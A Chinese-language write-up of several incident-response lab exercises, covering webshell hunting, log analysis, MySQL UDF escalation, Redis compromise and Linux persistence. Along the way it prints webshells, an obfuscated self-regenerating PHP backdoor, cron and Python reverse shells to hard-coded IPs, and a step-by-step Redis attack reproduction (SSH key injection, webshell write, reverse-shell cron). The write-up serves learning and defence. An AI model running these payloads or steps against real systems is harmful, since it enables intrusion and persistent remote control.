玄机的应急响应

Linux

第一章应急响应-webshell查杀

总结：目录检索webshell特征文件；哥斯拉；隐藏文件；日志查找可疑文件；D盾判断免杀文件

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

可疑函数调用

WebShell通常会使用一些危险的函数来执行系统命令或代码，如：

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

编码和解码

WebShell经常使用编码和解码技术来隐藏其真实意图，如Base64编码：

eval(base64_decode('encoded_string'));

文件操作

WebShell可能会包含文件操作函数，用于读取、写入或修改文件：

PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
ASP: FileSystemObject

网络操作

WebShell可能会包含网络操作函数，用于与远程服务器通信：

PHP: fsockopen(), curl_exec(), file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest

命令查找：

//搜索目录下适配当前应用的网页文件，查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 
 
//对于免杀Webshell，可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

xargs：xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中，xargs将find命令找到的文件列表作为参数传递给grep命令

在目录/var/www/html/下有很多php文件

在include文件夹里面发现gz.php，是哥斯拉加密函数，所以这个就是webshell

flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

哥斯拉的加密函数特征有：

@session_start(); - 开启一个会话。
@set_time_limit(0); - 设置脚本执行时间为无限。
@error_reporting(0); - 关闭所有错误报告。

根据上面的判断是哥斯拉webshell，直接找到哥斯拉的github项目地址：

https://github.com/BeichenDream/Godzilla

拿去md5得到：39392de3218c333f794befef07ac9257

flag{39392de3218c333f794befef07ac9257}

命令查看所有文件和目录

ls -lha

进入Db目录再继续找，找到.Mysqli.php，所以隐藏shell的路径就是：

/var/www/html/include/Db/.Mysqli.php

md5得到：flag{aebac0e58cd6c5fad1695ee4d1ac1919}

去日志查看，目录：/var/log/apache2/access.log

发现了一个top.php

去对应目录下面查看

动态代码执行

$c = "a"."s".$_GET["func2"];  // 拼接字符串，例如 func2=sort → 得到 "asort"
$c($fun);                     // 执行动态函数（如 `asort($fun)`，但实际可能是危险函数）

风险点：
- 通过 func2 参数控制函数名（如 system、eval、exec），直接执行任意代码。
- 攻击者可传入 ?func2=system&func=... 执行系统命令。

混淆加密

$fun = base64_decode($_GET['func']);  // 解码 Base64
for($i=0;$i<strlen($fun);$i++) {
    $fun[$i] = $fun[$i]^$key[$i+1&7]; // 异或解密
}

风险点：
- func 参数传递的是经过 Base64 + 异或加密 的恶意代码，绕过静态检测。
- 实际内容可能是 system("whoami") 等恶意指令。

关键函数隐藏

使用字符串拼接 ($a.$s) 和动态变量 ($c($fun)) 隐藏真实调用的危险函数（如 assert、eval）。

所以路径就是：/var/www/html/wap/top.php

md5得到：flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

其实这个把html目录打包之后拿去D盾扫描会发现四个php全给扫描出来了

这个免杀判断就是在你解压缩的时候火绒没有发现这个top.php，而其他三个都被清理掉了

第一章应急响应-Linux日志分析

总结：日志文件分析爆破ip；过滤“Accepted”关键字来得到成功登录的ip；过滤语法

1.有多少IP在爆破主机ssh的root帐号，如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少，如果有多个使用","分割
3.爆破用户名字典是什么？如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户，用户名是多少

linux的日志文件一般都是在/var/log目录下面，常见的日志文件包括：

/var/log/syslog：记录系统的各种信息和错误
/var/log/auth.log：记录身份验证相关的信息，如登录和认证失败
/var/log/kern.log：记录内核生成的日志信息
/var/log/dmesg：记录系统启动时内核产生的消息
/var/log/boot.log：记录系统启动过程中的消息
/var/log/messages：记录系统的广泛消息，包括启动和应用程序信息
/var/log/secure：记录安全相关的消息
/var/log/httpd/：记录Apache HTTP服务器的访问和错误日志（若安装了Apache）
/var/log/nginx/：记录Nginx服务器的访问和错误日志（若安装了Nginx）

题目要求的是找ssh的root账号，所以要看的就是auth.log文件

一般来说，SSH登录尝试会记录在 /var/log/auth.log.1（这是固定的）

auth.log

当前正在写入的日志文件；
包含最新的身份验证事件，如当前用户登录、认证失败、sudo 使用等；
路径通常为 /var/log/auth.log（Debian/Ubuntu 系系中）；
会被系统日志服务（如 rsyslog）实时更新。

auth.log.1

已轮转（archived）的旧日志文件；
是 auth.log 被系统通过 logrotate 机制轮转之后的第一份备份；
不再被实时写入，只读存储旧记录；
一般保留上一个周期（如上周、上几天）的日志。

会发现有很多，要是一个个找就很麻烦，我们用参数进行过滤

cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

cat auth.log.1

作用：读取 auth.log.1 文件的内容并输出到标准输出
说明：auth.log.1 是系统认证日志的归档文件（可能是经过轮替的旧日志），记录了登录、认证相关事件

grep -a "Failed password for root"

作用：过滤出包含 "Failed password for root" 的行
关键选项：
- -a：将二进制文件视为文本文件处理（避免因日志文件中可能的二进制数据导致意外中断）
结果：仅保留 root 账户密码失败的登录尝试记录

awk '{print $11}'

作用：提取每行的第 11 个字段（默认以空格分隔）
说明：在 auth.log 中，Failed password for root 记录的来源 IP 地址通常位于第 11 字段（具体位置可能因日志格式略有差异，需验证）

sort

作用：对提取的 IP 地址进行排序。
目的：为后续 uniq -c 统计做准备，因为 uniq 要求输入已排序

uniq -c

作用：统计连续重复行的出现次数，并输出为 次数 IP 格式

sort -nr

作用：按数值降序排序
关键选项：
- -n：按数值而非字符串排序
- -r：反转结果（降序）
结果：攻击最频繁的 IP 地址会排在顶部

more

作用：分页显示结果，避免一次性输出大量内容导致刷屏

用于分析 auth.log.1 文件（通常是 Linux 系统的认证日志备份文件），统计针对 root 账户的失败登录尝试及其来源 IP 地址的出现频率，并按次数降序排列

所以是这三个ip在爆破：

flag{192.168.200.2,192.168.200.31,192.168.200.32}

成功登录的那就过滤Accepted

cat auth.log.1 | grep -a "Accepted" | awk '{print $11}' | sort | uniq -c | sort -nr | more

flag{192.168.200.2}

cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

cat auth.log.1

作用：读取 auth.log.1 文件的内容并输出到标准输出
说明：auth.log.1 是系统认证日志的归档文件（可能是经过轮替的旧日志），记录了登录、认证相关事件

grep -a "Failed password"

作用：过滤出包含 "Failed password" 的行
关键选项：
- -a：将二进制文件视为文本文件处理（避免因日志文件中可能的二进制数据导致意外中断）
结果：保留所有密码失败的登录尝试记录（不仅仅是 root 账户）

perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'

作用：使用 Perl 脚本从每行日志中提取登录用户名
解析：
- while($_=<>)：逐行读取输入。
- /for(.*?) from/：正则表达式匹配 for 和 from 之间的内容（即登录用户名）
  - .*? 是非贪婪匹配，确保只匹配到第一个 from 之前的内容
- print "$1\n"：输出捕获的第一个分组（即用户名）

uniq -c

作用：统计连续重复行的出现次数，并输出为 次数用户名 格式
前提：输入需已排序（此处因直接统计未排序，可能需前置 sort）
修正建议：应在 uniq -c 前添加 sort，确保统计准确

sort -nr

作用：按数值降序排序。
关键选项：
- -n：按数值而非字符串排序。
- -r：反转结果（降序）。
结果：登录失败次数最多的用户名排在顶部。

用于分析 auth.log.1 文件（通常是 Linux 系统的认证日志备份文件），统计所有失败登录尝试（不仅仅是 root 账户）及其对应的用户名，并按出现次数降序排列

可知用户名为：

flag{user,hello,root,test3,test2,test1}

由前面得到的爆破ip加统计次数还有登录成功的ip可以知道是四次

flag{4}

新建用户，可以过滤new

cat auth.log.1 |grep -a "new"

flag{test2}

第一章应急响应- Linux入侵排查

总结：检索php木马文件；D盾扫描；不死马分析；查看网络状态

1.web目录存在木马，请找到木马的密码提交
2.服务器疑似存在不死马，请找到不死马的密码提交
3.不死马是通过哪个文件生成的，请提交文件名
4.黑客留下了木马文件，请找出黑客的服务器ip提交
5.黑客留下了木马文件，请找出黑客服务器开启的监端口提交

找木马文件首先想到的就是php文件，我们在根目录找一下

sudo find / -type f -name "*.php"

大致是两个地方，一个是/opt/html下面还有就是/var/www/html下面，去opt下面看了里面并没有发现什么，去var下面发现了1.php

查看发现一句话木马，所以连接密码就是1

flag{1}

可以一起打包下来放进D盾进行扫描

可以发现shell.php也是后门文件，查看：

文件中的恶意部分

$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}}?>';
file_put_contents($file, $code);
system('touch -n -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);

隐蔽的WebShell生成

动态生成一个隐藏的PHP WebShell文件（.shell.php），内容为：
```
<?php 
if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592") {
    @eval($_POST["cmd"]); // 执行任意PHP代码
}
?>
```
- 密码保护：通过MD5哈希验证密码（pass），避免被其他人随意利用。
- 任意代码执行：通过 eval($_POST["cmd"]) 可执行攻击者提交的恶意指令。

反检测与反清除

隐藏文件：文件名以 . 开头（.shell.php），在Linux中默认不可见（需 ls -a 查看）。
修改时间戳：通过 touch -n -d "2021-01-01 00:00:01" 伪造文件创建时间，规避管理员按时间排序查找可疑文件。
延迟执行：usleep(3000) 增加微小延迟，可能用于绕过简单的行为监控。

持久化机制

每次访问 index.php 时，都会重新生成 .shell.php，即使文件被删除也会恢复（依赖主脚本未被清除）。
如果 index.php 是网站入口文件（如首页），攻击者可通过正常访问触发恶意逻辑，无需直接操作服务器。

无文件攻击的潜在可能性

如果攻击者通过其他方式（如漏洞利用）直接注入代码到 index.php 内存中执行，可能无需落地文件即可维持控制（需结合其他漏洞）。

所以这个文件就是不死马，密码是md5后的5d41402abc4b2a76b9719d911017c592

flag{hello}

通过上一题也可以得出不死马就是通过index.php文件生成的

flag{index.php}

之前也分析了不死马可以生成一个.shell.php文件，我们查看所有文件：

可以发现一个shell(1).elf文件，通常elf后缀的文件都是可执行文件，通过之前的分析，这个应该就是黑客通过不死马留下的，我们尝试运行文件发现权限不够所以先提权

chmod 777 "shell(1).elf"

运行：

./'shell(1).elf'

之后的界面没有回显，我们可以再开一个终端界面使用netstat来查看显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息

netstat -nao

可以发现ip和端口

flag{10.11.55.21}

flag{3333}

第二章日志分析-apache日志分析

总结：过滤爆破ip次数；指纹浏览器；特定页面的访问次数；特定时间段访问次数

账号密码 root apacherizhi
ssh root@IP
1、提交当天访问次数最多的IP，即黑客IP：
2、黑客使用的浏览器指纹是什么，提交指纹的md5：
3、查看包含index.php页面被访问的次数，提交次数：
4、查看黑客IP访问了多少次，提交次数：
5、查看2023年8月03日8时这一个小时内有多少IP访问，提交次数:

看题目知道是要分析apache的日志，一般情况下linux的日志都在/var/log下面

这里转到目录下面可以看到apache2，进去发现access.log.1，这次就是要分析这个日志（上面解释了access.log和access.log.1的区别）

提交当天访问次数最多的IP，即黑客IP

直接统计每个ip的访问次数

awk '{print $1}' access.log.1 | sort | uniq -c | sort -nr

可以知道黑客ip是192.168.200.2

flag{192.168.200.2}

黑客使用的浏览器指纹是什么，提交指纹的md5

浏览器指纹（Browser Fingerprint）是一种识别用户设备的技术，通过收集用户浏览器和设备上的各种信息，组合成一个几乎唯一的标识，从而用于识别、追踪或区分用户，即使用户没有登录账户或使用了隐私模式

我们随便拿一个ip是黑客的记录来看

192.168.200.2 - - [03/Aug/2023:08:46:45 +0000] "GET /id_rsa.pub HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"

这里就可以知道浏览器指纹是

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

指纹的关键特点：

唯一性：收集到的指纹组合具有高度唯一性，可用于识别个体设备。
无需存储数据在用户设备：与 Cookie 不同，指纹不会直接写入本地文件，因此更难被察觉和防范。
持久性强：用户即使清除 Cookie、更换 IP、使用隐私模式，也可能依然被识别。
合法用途与隐私争议并存：可以用于欺诈检测、会话保持等合法场景，但也存在隐私侵犯的风险。

拿去md5得到

flag{2d6330f380f44ac20f3a02eed0958f66}

查看包含index.php页面被访问的次数，提交次数

这里去仔细看了题目，是：查看包含index.php页面被访问的次数，提交次数：(不包括/xxx/index.php只筛选/index.php)

所以只需要统计路径是/index.php的

awk '$7 == "/index.php"' access.log.1 | wc -l

得到的结果是2，但是我去看其他人的wp写的都是27，应该是只要包含了index.php就算，但是2和27我去上交都说是错的，这里先放着

查看黑客IP访问了多少次，提交次数

这个在第一问就得到了，6555次

flag{6555}

查看2023年8月03日8时这一个小时内有多少IP访问，提交次数

依旧是过滤

awk '$4 ~ /^\[03\/Aug\/2023:08:/ {print $1}' access.log.1 | sort | uniq -c | sort -nr

得到：

6555 192.168.200.2
29 ::1
5 192.168.200.38
1 192.168.200.48
1 192.168.200.211

其中第二个是回环地址，也就是127.0.0.1，所以可以知道有5个ip访问

flag{5}

第二章日志分析-mysql应急响应

总结：php文件查找；日志文件找反弹shell的ip；UDF提权；mysql的账号密码查找；用户自定义函数；mysql的secure_file_priv字段

mysql应急响应 ssh账号 root  密码 xjmysql
ssh env.xj.edisec.net  -p xxxxx
1.黑客第一次写入的shell flag{关键字符串} 
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}

黑客第一次写入的shell flag

shell一般可以在/var/www/html目录下面找到，我们查看里面有什么文件，可以用命令过滤eval关键字来找，也可以一个个看

这里在sh.php文件找到了一句话木马

那么这个就是黑客写入的shell，关键字符串就是ccfda79e-7aa1-4275-bc26-a6189eb9a20b

flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

黑客反弹shell的ip flag

这个想着就是去mysql的日志里面找，在/var/log/mysql下面的error.log文件

sh: 1: curl: not found
--2023-08-01 02:14:11--  http://192.168.100.13:771/
Connecting to 192.168.100.13:771... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: 'index.html'

看关键的地方，这里说明黑客在MySQL中执行了系统命令curl下载了一个文件

http://192.168.100.13:771/

这正是黑客主机IP，反弹或下载shell时使用

flag{192.168.100.13}

黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

什么是UDF提权？

UDF = User Defined Function（用户自定义函数）

MySQL允许用户通过共享库（.so / .dll 文件）扩展自己的函数（UDF函数），这些函数可以在SQL语句中像内置函数一样调用。

如果黑客能上传并注册恶意UDF，就能执行系统命令，例如：

select sys_exec('id');

最终实现 数据库用户→系统（root）的提权。

UDF提权的原理？

编写恶意的 UDF（.so）文件
- 如 lib_mysqludf_sys.so，可提供执行系统命令的功能。
利用 MySQL 的 CREATE FUNCTION 命令将这个 .so 文件注册为数据库函数。
在SQL语句里执行这个函数，实现系统命令执行（RCE）。

UDF提权需要哪些条件？

条件	说明
1. FILE 权限	用户必须有`FILE`权限，才能利用`SELECT ... INTO DUMPFILE`向磁盘写`.so`文件。
2. 插件路径可写	插件目录（通常 `/usr/lib/mysql/plugin/` 或 `/usr/lib64/mysql/plugin/`）必须是可写的。
3. MySQL运行用户（如mysql）具有足够的系统权限	执行UDF命令时，实际是由MySQL进程所在的系统用户（通常是`mysql`用户）执行。
4. 安全配置未限制 UDF 功能	如新版MySQL禁用了某些UDF动态加载，需要绕过或找低版本。

既然要提权，那黑客肯定知晓了账号密码，而且连接上了，那么我们可以猜想，是不是web目录下有页面泄露了mysql账号密码，回到web目录

find ./ -name "*.php" | xargs grep "root"

find ./ -name "*.php"

在当前目录及子目录中查找所有 以 .php 结尾的文件。
./ 表示从当前路径开始。
-name "*.php" 只匹配文件名后缀为 .php 的文件。

|（管道符）

将 find 命令的结果（即找到的PHP文件列表）传递给后面的命令。

xargs grep "root"

把 find 找到的文件名逐个交给 grep "root" 执行：
对每一个 .php 文件执行：

grep "root" 文件名

也就是在这些 PHP 文件中查找包含“root”字符串的行。

找到

./common.php:$conn=mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");

可以知道数据库的账号和密码，连接：

mysql -uroot -p334cc35b3c704593

show global variables like '%secure%';

查询当前MySQL全局变量中所有名字包含 "secure" 的变量及其值

查到secure_file_priv字段为空，具有写入权限

一般进行了提权，一定会在/usr/lib/mysql/plugin/目录下留下痕迹

来到此目录

这个目录是mysql存放用户自定义函数的，出现了一个udf.so文件，肯定是有人写入了一个自定义函数到库中

通过md5加密/usr/lib/mysql/plugin/udf.so得到flag

flag{b1818bde4e310f3d23f1005185b973e7}

黑客获取的权限 flag

既然hacker进行了提权，在库中写入了自定义函数，我们去数据库中查询一下

select * from mysql_func;

mysql.func 是什么？

系统表：位于 mysql 系统数据库中。
作用：记录数据库中被定义的所有自定义函数（UDF, User Defined Function）信息。
表结构 大概如下：

name	ret	dl	type
函数名	返回类型	动态库路径	函数类型

攻击者上传了 mysqludf.so 这个库

成功在MySQL中创建了一个叫 sys_eval 的函数

任何人拥有SQL执行权限都可以用：

SELECT sys_eval('命令');

来执行任意系统命令（如反弹Shell、删除文件、安装后门）

执行：

SELECT sys_eval('whoami');

得到flag{mysql}

参考：【玄机靶场】第二章日志分析-mysql应急响应-CSDN博客

第二章日志分析-redis应急响应

总结：redis数据库；redis的未授权访问；redis的主从复制；沙箱分析；计划任务；利用公私钥进行ssh连接；github查找公钥用户名；linux可执行命令目录/usr/bin

服务器场景操作系统 Linux
服务器账号密码 root xjredis

什么是redis

Redis（Remote Dictionary Server，远程字典服务）
👉 本质是一个开源的内存型 Key-Value 数据库，也就是：

键（key） ----> 值（value）

举个最简单例子：

set name "anaxa"
get name

"anaxa"

可以看作是超快的内存数据仓库，被大量用于：

网站缓存（例如保存用户登录状态）
队列系统
数据临时存储
Session 共享
计数器（比如点赞数）
甚至聊天应用的消息临时保存

Redis 特点：

特点	说明
纯内存存储	所有数据存在内存里，速度非常快
Key-Value 结构	使用键值对方式存储
支持多种数据结构	String、List、Set、ZSet、Hash
可持久化	可定期保存到磁盘（RDB/AOF）
单线程	核心为单线程事件处理机制

关于Redis的攻击手法有

redis未授权访问漏洞
利用redis写webshell
利用“公私钥” 认证获取root权限
利用crontab反弹shell

黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

我们来到日志目录下面看redis的日志，/var/log/redis.log

发现redis版本是5.0.1，而redis的未授权访问漏洞的影响范围是在Redis <=5.0.5的，可以猜测未授权登录

来到redis的配置目录下面看配置文件，搜关键字符串requirepass

发现设置 Redis 服务器的访问密码为：foobared，但是是注释的，所以是没有设置密码的，黑客是可以进行未授权登录的

继续看redis.log，发现可疑部分：

主从复制相关：

REPLICAOF 192.168.x.x:8888 enabled
Connecting to MASTER 192.168.x.x:8888
MASTER <-> REPLICA sync started

Redis被设置为从服务器（Replica），去连接一个外部IP的Redis主服务器

爆破后上传恶意模块成功

Module 'system' loaded from ./exp.so

攻击者通过主从复制+恶意so文件（exp.so）植入了后门模块

这类模块允许执行系统命令，如 id, whoami, bash reverse shell 等

所以可以知道黑客的ip就是192.168.100.20

flag{192.168.100.20}

黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

从上一个题目的分析可以知道exp.so文件就是攻击者通过主从复制得到的文件

getshell，可以提取字符串过滤flag

flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

查看计划任务:
➜  crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
*/1 * * * *  /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
# m h  dom mon dow   command
 
发现计划任务里反弹shell的ip为192.168.100.13
 
flag{192.168.100.13}

黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

这里看auth.log.1日志其实能发现有ip往里面写了公钥，可以联想到ssh公钥登录

攻击者redis连接上主机之后把自己的公钥写入/root/.ssh目录下，然后设置 Redis 数据持久化文件（RDB 文件）的保存目录为 /root/.ssh/，把 RDB 文件（Redis持久化文件）的名字改为 authorized_keys

查看一下靶机的/root/.ssh,确实有一个被写入的公钥authorized_keys

用户名是xj-test-user，去github找（这真想不到吧

flag{xj-test-user-wow-you-find-flag}

黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

/usr/bin/

系统中绝大多数用户级应用程序的主程序文件（可执行程序）都在这里

查看ps

可以看到这不是系统自带的ps命令，该脚本被用来替代了系统原有的ps命令，使用ps_ $1 $2 $3调用一个未知的命令或脚本（ps_），并将传递给ps命令的参数转发给它。然后，通过管道将输出传递给grep -v 'threadd'，过滤掉包含字符串'threadd'的行，说明ps命令被篡改了

flag{c195i2923381905517d818e313792d196}

参考：玄机-第二章日志分析-redis应急响应_第二章日志分析-redis应急响应-CSDN博客

第二章日志分析-redis应急响应 - Fxe0_0 - 博客园

攻击复现

一、靶机（CentOS 7）配置 Redis

1. 安装 Redis

在 CentOS 7 上执行：

yum install epel-release -y
yum install redis -y

2. 修改 Redis 配置文件

编辑：

vi /etc/redis.conf

改以下几项：

bind 0.0.0.0            # 允许外网访问
protected-mode no       # 关闭保护模式

保存退出。

3. 启动 Redis

systemctl start redis #启动
systemctl enable redis #让Redis服务开机自动启动

确认运行：

netstat -anp | grep 6379

二、攻击机（Kali）进行未授权访问检查

在 Kali：

redis-cli -h 靶机IP -p 6379

能连上就是未授权（没密码）

需要关闭防火墙

sudo systemctl stop firewalld

三、写入 SSH 公钥（免密码 root 登录）

1. Kali 生成密钥：

ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub

复制完整公钥（长长一串，以 ssh-rsa 开头）

2. Kali 利用 Redis 写入公钥：

redis-cli -h 靶机IP -p 6379

命令	说明
`redis-cli`	本地连接 127.0.0.1:6379（默认）
`redis-cli -h IP -p PORT`	远程连接指定 Redis 服务器
`redis-cli -h 192.168.254.133 -p 6379 ping`	连接后立刻执行 `ping` 命令，测试是否响应（应返回 `PONG`）
`redis-cli -h 192.168.254.133 -p 6379 shutdown`	远程关闭 Redis（前提是有足够权限）

执行：

set ssh "\n\nssh-rsa AAAAB3Nza...（你的完整公钥）...==\n\n"
#在 Redis 内部新建一个名为ssh的键
值就是一个换行包裹的SSH公钥
这个公钥对应攻击者的私钥，后续攻击者可直接通过私钥SSH登录目标服务器的root用户
把公钥存到 Redis 里，准备后续写到 /root/.ssh/authorized_keys 文件里

config set dir /root/.ssh/
#设置 Redis 数据持久化文件（RDB 文件）的保存目录为 /root/.ssh/
/root/.ssh/ 是 Linux 下 root 用户的 SSH 公钥存放目录
让 Redis 后续保存的数据库文件（dump.rdb）能“写”到root的.ssh文件夹里

config set dbfilename "authorized_keys"
#把 RDB 文件（Redis持久化文件）的名字改为 authorized_keys
也就是说，Redis 下次执行 save 命令时，会把数据库保存成 /root/.ssh/authorized_keys 这个文件
正好覆盖 root 用户 SSH 授权公钥文件，插入攻击者自己的公钥

save

写入的时候发现权限不够

redis必须要是root权限才能执行写入，要复现的话靶机必须要是root来启动redis（真实情况下千万别这样）

停止 Redis：

sudo systemctl stop redis

以 root 权限手动启动 Redis：

sudo redis-server /etc/redis.conf

之后再进行之前的命令

成功了

3. Kali SSH 登录靶机：

ssh -i ~/.ssh/id_rsa root@靶机IP

免密码直接 root 登录，完成提权！

四、主从复制

攻击者

连接

redis-server --port 8888 --dir /tmp --dbfilename dump.rdb

启动一个 Redis 服务器实例
监听端口：8888（默认是6379，这里改成8888）
数据存储目录：/tmp（Redis保存数据文件的位置）
数据文件名：dump.rdb（Redis的默认数据快照文件名）

作用：在你的机器（通常是攻击者的Kali）启动一个专门的Redis服务器，准备被靶机作为主服务器连接，从而进行主从复制（攻击用）

重新开个终端界面

redis-cli -h 靶机ip -p 6379

连接靶机的redis

slaveof 攻击者ip 8888

让靶机 Redis 把自己设置成你的 Redis 服务器的从服务器

会开始主从复制，数据会从你控制的 Redis 服务器同步过去

这里我们查看靶机的redis.log日志就可以看到攻击者的ip

所以上面的题目看到的那个ip就是黑客的ip

利用主从复制写文件（写 webshell 或写定时任务）

攻击者 Kali 的 Redis-cli（端口8888）输入：

set webshell "<?php system(\$_GET['cmd']); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save

这会在靶机 /var/www/html/ 目录写入一个 shell.php 文件
靶机会自动从你的 Redis 服务器同步过来写文件

访问写好的 webshell

http://靶机ip/shell.php?cmd=id

然后会发现执行不了，这是Redis 6开始引入的安全特性，原因：

防止像你这样黑客利用config set dir+save写shell

反弹shell

kali监听

nc -lvvp 4444

kali连接的是8888端口的kali的

在 Redis 中构造 cron 反弹shell命令：

set cron "* * * * * /bin/bash -i >& /dev/tcp/192.168.254.128/4444 0>&1"

解释：

* * * * *：每分钟执行一次
/bin/bash -i >& /dev/tcp/192.168.254.129/4444 0>&1：
- bash 交互式反弹
- 连接到Kali 4444端口

第三章权限维持-linux权限维持-隐藏

总结：隐藏文件；反向shell后门程序；SUID位；第三方软件和应用程序目录/opt；Cymothoa后门工具；Exec值

ssh root@env.xj.edisec.net -p  密码  xjqxwcyc
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5} 
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件  将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.黑客隐藏的隐藏的文件完整路径md5

隐藏文件就是ls执行之后不会显示的，但是ls -a可以显示，以.开头的文件，我们可以用find来过滤

find / name '.*'

可以发现最后面有几个，而且是点开头的目录，进去查看发现有py文件

1.py

#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
        sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
        sys.exit(0)

while 1:
        try:
                sys.stdout.flush()
                sys.stderr.flush()
                fdreg = open("/dev/null", "w")
                sys.stdout = fdreg
                sys.stderr = fdreg
                sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sdregs.connect(("114.114.114.121",9999))
                os.dup2(sdregs.fileno(),0)
                os.dup2(sdregs.fileno(),1)
                os.dup2(sdregs.fileno(),2)
                p=subprocess.call(["/bin/bash","-i"])
                sdregs.close()
        except Exception:
                pass
        time.sleep(2)

这段代码是一个典型的反向Shell后门程序，主要功能包括：

守护进程化：通过两次fork脱离终端控制，实现后台运行。
反向Shell：连接到远程C2服务器（114.114.114.121:9999），并提供交互式Bash Shell。
持久化：如果连接失败，会每隔2秒重新尝试连接。

shell.py

#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.16.10.7",2220))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run(["/bin/bash","-i"])

建立反向连接：
- 脚本会主动连接到攻击者的服务器（172.16.10.7:2220）。
提供Shell访问：
- 通过重定向标准输入/输出/错误，攻击者可以远程执行任意命令。
隐蔽性：
- 没有守护进程（fork）或异常处理，因此连接断开后Shell会终止（但攻击者可以重新连接）。

所以可以知道1.py更加像是黑客的隐藏文件，完整路径为：/tmp/.temp/libprocesshider/1.py

flag{109ccb5768c70638e24fb46ee7957e37}

2.黑客隐藏的文件反弹shell的ip+端口

根据上一题的分析可以知道ip和端口是：114.114.114.121:9999

flag{114.114.114.121:9999}

3.黑客提权所用的命令完整路径的md5 flag

题目让我们提交黑客提权使用的命令且进行MD5加密提交，那就主要查看系统日志和文件变化记录，查找以下文件可能的变动：

/etc/passwd
/etc/sudoers
具有 SUID 位设置的文件

这里系统日志与文件均为发现什么，那我们就主要查看SUID位设置的文件，那在此之前我们先简单了解一下什么是SUID提权

SUID（Set User ID）是 Unix/Linux 文件系统中的一种权限位。当文件的 SUID 位被设置时，执行该文件的用户将临时获得文件所有者的权限。这通常用于程序需要执行一些需要更高权限的操作（例如，ping 命令需要发送 ICMP 请求，因此需要 root 权限）

使用命令

find / -perm -u=s -type f 2>/dev/null

这个命令用于查找系统上所有设置了 SUID 位的文件

find /: 从根目录开始查找
-perm -u=s: 查找文件权限中包含 SUID 位（即，用户执行该文件时将获得该文件所有者的权限）
-type f: 只查找文件（不包括目录）
2>/dev/null: 将标准错误输出重定向到 /dev/null，以避免显示权限不足等错误信息

